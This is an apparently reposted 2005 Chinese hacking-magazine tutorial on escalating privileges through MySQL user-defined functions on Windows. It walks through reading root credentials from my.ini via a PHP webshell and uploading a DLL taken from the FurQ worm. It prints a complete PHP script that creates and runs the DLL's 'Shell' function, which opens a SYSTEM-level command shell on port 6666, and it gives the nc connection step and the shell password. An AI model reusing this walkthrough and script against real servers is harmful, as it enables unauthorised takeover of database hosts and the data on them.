萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> 提權,以MySQL之名

提權,以MySQL之名

注:稿件已刊登於《黑客防線》2005年第7期上,自學教程,轉載請著明版權與出處。前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然後通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,並且成功率也不是很高.而近期,國內有高手放出針對Win系統的相關文章,於是我馬上找來與朋友一同研究.其實我們早就能想到.當我們在對MSSQL\Oracle數據庫進行攻擊的時候,得到了最數據庫中高權限的帳戶,往往都是執行特殊的擴展過程或者函數來進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創建一個特殊的函數.而我們卻始終沒有想到,作為流行的數據庫軟件之一的MySQL,也是可以進行函數的創建的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已.廢話一堆過後,我們來了解一下怎麼在MySQL裡創建一個函數吧.這比如何利用重要許多,只要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通.MySQL中創建一個函數的語句為:Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';其中FunctionName指的是函數的名稱,C:\Function.DLL指的是函數所調用的DLL,而函數名正是DLL中的函數名稱.不過這裡需要我們注意的是,如果我們需要MySQL可以在函數之中附帶一個參數的話,那麼就要符合UDF形式的程序編寫規則,具體的可以查看MySQL手冊的第14節:《為MySQL增加新函數》.而其中STRING,INTEGET,REAL是函數執行後所返回的值的形式.當然,我們大可不必遵循UDF形式的編寫,其實如果我們的函數中使用一個我們要執行的代碼,而不使用參數,一樣可以達到攻擊的效果,比如說System("command.com")等等.網上現在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是注意,這個創建函數的語句必須要求我們所用的MySQL帳戶有對mysql這個數據庫的寫權限,否則無法正常使用.好了.了解了原理之後,我們來實戰一下如何使用MySQL提升權限.在這裡我們已經通過各式各樣的漏洞取得了一個服務器的WebShell,我這裡演示的是angel的phpspy,因為PHP默認有連接MySQL的函數,而ASP這些需要使用附加的組件來進行連接,本身不具備條件的.一般來說,在Win系統下面,很多軟件都會在系統目錄下創建一個叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我們攻克的主機沒有非常好的權限設置的話,我們本身就具有對%windir%目錄的浏覽權限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進這個My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個MySQL數據庫或者是服務器了.如圖1.得到MySQL的Root密碼之後,我們需要上傳我們的DLL文件,我這裡使用的是從FurQ蠕蟲中提取的FurQ.dll.執行這個FurQ.DLL中的Shell函數,系統將會在6666端口打開一個帶密碼的CMDShell,當然,密碼我們已經知道,就是"FurQ"幾個字符而已.不過我們現在還沒有執行的條件.需要通過MySQL將這個函數創建到MySQL中去.現在,我們用PHPSPY新建一個PHP文件.輸入以下的內容 <?php$link=mysql_connect('127.0.0.1','root','root');if (!$link) {die('Could NOt Connect The Database!: ' . mysql_error());};echo "Good Boy.Connected!<br>";//這裡的root\root就是從my.ini中讀取的用戶和密碼.@mysql_select_db('mysql') or die ('use database mysql failed!');echo "Yes You Did!<br>";//這裡選擇使用MySQL數據庫表.當然你也可以選擇別的,如test.$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";@$result = mysql_query($query, $link) or die ("Create Function Failed!");echo "Goddess...Successed!<br>";//這兩句話是關鍵,執行MySQL的創建函數語句.將d:\wwwroot\furq.dll中的Shell函數創建進MySQL中.使得MySQL可以執行這個Shell函數.$query="Select Shell();";@$result = mysql_query($query, $link) or die ("Execute failed");echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>";//這一步是執行這個Shell函數,打開服務器的6666端口.?>再次執行,全部正常返回.如圖2.那麼現在,我們就可以使用nc連接服務器的6666端口,輸入這個密碼:FurQ.然後就返回CMDSHELL了..當然,由於繼承的是MySQL的權限,而Win系統下MySQL默認以服務安裝,也就是說,我們得到的Shell為LocalSystem權限,可以為所欲為了,不過不要做壞事哦.呵呵. ,5自學網
copyright © 萬盛學電腦網 all rights reserved